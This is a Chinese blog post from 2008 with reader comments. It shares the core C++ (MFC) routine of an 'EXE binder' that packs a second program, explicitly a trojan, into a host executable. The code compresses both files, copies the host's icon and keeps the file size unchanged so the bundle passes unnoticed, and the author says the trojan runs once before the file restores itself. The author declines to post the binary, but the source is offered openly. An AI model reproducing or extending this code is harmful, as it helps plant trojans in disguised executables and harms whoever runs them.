发一个以前写的EXE捆绑工具

现在EXE捆绑工具多的是,没什么技术含量。

我这个捆绑器不同与其它捆绑器的特点是:

1.采用压缩算法,最大限度的保证捆绑后不改变原程序文件大小,测试时成功地在一个48K的程序里捆绑了一个36K的程序。

2.当被捆绑的程序运行后自动修复,恢复到程序被捆绑前,所以捆绑的木马也只执行一次。

软件抓图:

 

核发代码:void CExeBindMFCDlg::OnBnClickedButton1()
{
 CString Path1,Path2,Path3,BackPath;
 char Mark[50],*pMem1,*pMem2,*pMem3;
 HANDLE hFile1,hFile2;
 DWORD size1,size2,size3,len;
 HRSRC hrsrc1;
 HGLOBAL hglobal1;
 LZARI lz;
 int nOutSize;
 BYTE *p;

 GetDlgItem(IDC_EDIT1)->GetWindowText(Path1);
 GetDlgItem(IDC_EDIT2)->GetWindowText(Path2);
 GetDlgItem(IDC_EDIT3)->GetWindowText(Path3);

 BackPath=Path1+".bak.exe";
 CopyFile(Path1,BackPath,false);


 hrsrc1=FindResource(NULL, MAKEINTRESOURCE(IDR_BIN1), "BIN");
 hglobal1=LoadResource(NULL, hrsrc1);
 size3=SizeofResource(NULL, hrsrc1);

 hFile1=CreateFile(Path1,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
 if(hFile1==INVALID_HANDLE_VALUE )
 {
  MessageBox("以可写方式打开文件1出错!");
  return;
 }

 hFile2=CreateFile(Path2,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
 if(hFile2==INVALID_HANDLE_VALUE )
 {
  MessageBox("以只读方式打开文件2出错!");
  return;
 }
 size1=GetFileSize(hFile1,0);
 size2=GetFileSize(hFile2,0);

 pMem1=new char[size1+1];
 if(!pMem1)
 {
  MessageBox("分配内存1出错,无法继续!");
  return;
 }
 pMem2=new char[size2+1];
 if(!pMem2)
 {
  MessageBox("分配内存2出错,无法继续!");
  return;
 }
 pMem3=new char[size3+1];
 if(!pMem3)
 {
  MessageBox("分配内存3出错,无法继续!");
  return;
 }

 ReadFile(hFile1,pMem1,size1,&len,NULL);
 if(size1!=len)
 {
  MessageBox("读取文件1出错,无法继续!");
  return;
 }
 ReadFile(hFile2,pMem2,size2,&len,NULL);
 if(size2!=len)
 {
  MessageBox("读取文件2出错,无法继续!");
  return;
 }
 memcpy(pMem3,LockResource(hglobal1),size3);//是一个自己先前准备好的释放EXE的程序

 SetFilePointer(hFile1,0,0,FILE_BEGIN);
 CloseHandle(hFile2);

 p=NULL;
 lz.Compress((BYTE *)pMem1,size1,p,nOutSize);
 memcpy(pMem1,p,nOutSize);
 lz.Release();
 size1=nOutSize;

 p=NULL;
 lz.Compress((BYTE *)pMem2,size2,p,nOutSize);
 memcpy(pMem2,p,nOutSize);
 lz.Release();
 size2=nOutSize;

 sprintf(Mark,"%ld,%ld|%ld,%ld",size3,size1,size3+size1,size2);
 ModifyMem(pMem3,size3,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",Mark);//设置标志
 if(Path3=="")
  ModifyIcon(pMem3,size3,BackPath);
 else
  ModifyIcon(pMem3,size3,Path3);
 
 WriteFile(hFile1,pMem3,size3,&len,NULL);
 WriteFile(hFile1,pMem1,size1,&len,NULL);
 WriteFile(hFile1,pMem2,size2,&len,NULL);
 //SetEndOfFile(hFile1); 去掉此行可保持文件大小不变
 CloseHandle(hFile1);

 delete pMem1;
 delete pMem2;
 delete pMem3;
}

考虑到本软件可能被一些恶意下载站利用,对网民造成不良影响,所以本文仅提供一种新的捆绑器的思路,二进程程序就不提供下载了。

  • 相关文章:
  • quote 3.hihihi
  • 好像不是核心代码了,关键的一个类没有写哦,呵呵
    langouster2 于 2008-05-26 17:44:41 回复
    这就是核心代码啊,如果您对MFC了解的话可能会明白的.
  • 2008-05-23 23:11:49 回复该留言
  • quote 4.hihihi
  • 不好意思我的问题,当初主要关心压缩算法,同时也没有接触过LZARI,想法挺好,可以控制文件大小,实现了。
  • 2008-08-23 14:03:23 回复该留言
  • quote 5.hihihi
  • 补充一下,写这程序还要ModifyIcon ModifyMem ~~~
    langouster2 于 2008-08-24 09:56:04 回复
    ModifyIcon ModifyMem 这两个算法网上太多了,找找就有,不属于本文的关键性算法,所以没贴
    hihihi 于 2008-09-05 20:15:29 回复
    愁了,难怪了呢...
    hihihi 于 2008-09-05 20:15:47 回复
    愁了,难怪了呢...
  • 2008-08-23 14:40:52 回复该留言
  • quote 6.十里河
  • 菜鸟一个,有核心代码也不会写,悄悄把源程序发我一份吧,测试测试,决不干坏事!
  • 2008-08-27 09:23:39 回复该留言

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

最近发表

Copyright langouster. Some Rights Reserved.   苏ICP备06046736号   

本站点由 Z-Blog 2.0 bate Build 构建,基于 Glued Ideas Subtle 主题,由 zx.asd 移植并创新.